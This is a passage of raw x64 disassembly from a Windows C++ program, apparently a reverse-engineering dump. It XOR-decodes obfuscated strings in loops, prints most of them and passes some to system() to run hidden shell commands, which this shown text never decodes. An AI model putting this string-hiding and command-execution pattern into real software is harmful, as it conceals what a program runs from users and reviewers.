cmp r8d, 0x1c
jge 0x14002b790
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002b760
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002b7b0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xe8]
call fcn.140022cf0
mov dword [rbp + 0x108], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0xe8]
mov r14, qword [rbp + 0xe8]
mov r13, qword [rbp + 0x100]
cmp r13, 0xf
cmova rdi, r14
lea r15, [rbp + 0xe8]
cmova r15, r14
add r15, qword [rbp + 0xf8]
cmp rdi, r15
je 0x14002b84f
mov qword [rbp + 0x2c0], 0xa
nop dword [rax + rax]
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002b820
cmp r13, 0xf
jbe 0x14002b886
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002b87e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002d5fa
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [0x14009d830]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14009d840]
movups xmmword [rsp + 0x40], xmm1
mov eax, dword [0x14009d850]
mov dword [rsp + 0x50], eax
movzx eax, word [0x14009d854]
mov word [rsp + 0x54], ax
mov r8d, ebx
mov edi, dword [reloc.WS2_32.dll_accept]
cmp edi, 2
jl 0x14002ba05
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14002b900
cmp r8d, 0x26
jge 0x14002ba40
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14002ba10
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009d858]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d868]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d870]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d873], 0
je 0x14002bc00
mov r8d, ebx
cmp edi, 2
jl 0x14002bbc5
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002bac0
cmp r8d, 0x1c
jge 0x14002bc00
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002bbd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x120], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002bc20
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x110]
call fcn.140022cf0
mov dword [rbp + 0x130], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0x110]
mov r14, qword [rbp + 0x110]
mov r13, qword [rbp + 0x128]
cmp r13, 0xf
cmova rdi, r14
lea r15, [rbp + 0x110]
cmova r15, r14
add r15, qword [rbp + 0x120]
cmp rdi, r15
je 0x14002bcbf
mov qword [rbp + 0x2c0], 0xa
nop dword [rax + rax]
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002bc90
cmp r13, 0xf
jbe 0x14002bcf6
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002bcee
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002d5fa
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [0x14009d878]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [str.fghijklmnoZQ]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d890]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d893], 0
je 0x14002beb0
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14002be75
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002bd70
cmp r8d, 0x1c
jge 0x14002beb0
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002be80
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x148], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002bed0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x138]
call fcn.140022cf0
mov dword [rbp + 0x158], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0x138]
mov r14, qword [rbp + 0x138]
mov r13, qword [rbp + 0x150]
cmp r13, 0xf
cmova rdi, r14
lea r15, [rbp + 0x138]
cmova r15, r14
add r15, qword [rbp + 0x148]
cmp rdi, r15
je 0x14002bf6f
mov qword [rbp + 0x2c0], 0xa
nop dword [rax + rax]
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002bf40
cmp r13, 0xf
jbe 0x14002bfa6
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002bf9e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002d5fa
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [0x14009d898]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d8a8]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d8b0]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d8b3], 0
je 0x14002c160
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14002c125
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002c020
cmp r8d, 0x1c
jge 0x14002c160
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002c130
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002c180
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x160]
call fcn.140022cf0
mov dword [rbp + 0x180], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0x160]
mov r14, qword [rbp + 0x160]
mov r13, qword [rbp + 0x178]
cmp r13, 0xf
cmova rdi, r14
lea rcx, [rbp + 0x160]
cmova rcx, r14
mov r15, qword [rbp + 0x170]
add r15, rcx
cmp rdi, r15
je 0x14002c21f
mov qword [rbp + 0x2c0], 0xa
nop
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002c1f0
cmp r13, 0xf
jbe 0x14002c256
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002c24e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002d5fa
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [0x14009d8b8]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [str.___9____6_7__93_:._8]
movups xmmword [rsp + 0x40], xmm1
movsd xmm0, qword [0x14009d8d8]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14009d8e0]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14009d8e4]
mov word [rsp + 0x5c], ax
movzx eax, byte [0x14009d8e6]
mov byte [rsp + 0x5e], al
mov r8d, ebx
mov edi, dword [reloc.WS2_32.dll_accept]
cmp edi, 2
jl 0x14002c3e5
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14002c2e0
cmp r8d, 0x2f
jge 0x14002c420
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x14002c3f0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009d8e8]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d8f8]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d900]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d903], 0
je 0x14002c5e0
mov r8d, ebx
cmp edi, 2
jl 0x14002c5a5
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002c4a0
cmp r8d, 0x1c
jge 0x14002c5e0
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002c5b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x188], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x198], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002c600
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x188]
call fcn.140022cf0
mov dword [rbp + 0x1a8], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0x188]
mov r14, qword [rbp + 0x188]
mov r13, qword [rbp + 0x1a0]
cmp r13, 0xf
cmova rdi, r14
lea rcx, [rbp + 0x188]
cmova rcx, r14
mov r15, qword [rbp + 0x198]
add r15, rcx
cmp rdi, r15
je 0x14002c69f
mov qword [rbp + 0x2c0], 0xa
nop
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002c670
cmp r13, 0xf
jbe 0x14002c6d6
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002c6ce
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002d5fa
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [0x14009d908]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d918]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d920]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d923], 0
je 0x14002c890
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14002c855
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002c750
cmp r8d, 0x1c
jge 0x14002c890
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002c860
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1c0], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002c8b0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1b0]
call fcn.140022cf0
mov dword [rbp + 0x1d0], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0x1b0]
mov r14, qword [rbp + 0x1b0]
mov r13, qword [rbp + 0x1c8]
cmp r13, 0xf
cmova rdi, r14
lea rcx, [rbp + 0x1b0]
cmova rcx, r14
